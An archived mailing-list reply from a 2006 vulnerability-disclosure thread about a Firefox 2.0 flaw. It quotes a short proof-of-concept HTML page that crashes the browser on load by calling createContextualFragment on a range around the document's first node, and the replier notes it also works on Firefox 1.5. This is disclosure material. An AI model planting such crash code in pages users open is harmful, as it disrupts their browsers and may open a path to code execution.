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Re: New Flaw in Firefox 2.0: DoS and possible remote code execution

From: Jan Heisterkamp <janheisterkamp () web de>
Date: Wed, 01 Nov 2006 17:31:19 -0600

xxxx () gmail com schrieb:

New Flaw in Firefox 2.0: DoS and possible remote code execution

PoC here: http://werterxyz.altervista.org/Firefox2Range.htm

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript">
function do_crash()
{
var range;

range = document.createRange();
range.selectNode(document.firstChild);
range.createContextualFragment('<span></span>');
}
</script>
</head>
<body onload="do_crash()">
<p>Good bye Firefox!</p>
</body>
</html>

hi!
that works also under firefox v1.5.0.7.
regards
jan

Current thread:

Re[3]: New Flaw in Firefox 2.0: DoS and possible remote code execution 3APA3A (Nov 01)
- Re: New Flaw in Firefox 2.0: DoS and possible remote code execution Jerome Athias (Nov 06)
  - Re[2]: New Flaw in Firefox 2.0: DoS and possible remote code execution 3APA3A (Nov 03)
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- Re: New Flaw in Firefox 2.0: DoS and possible remote code execution Jan Heisterkamp (Nov 06)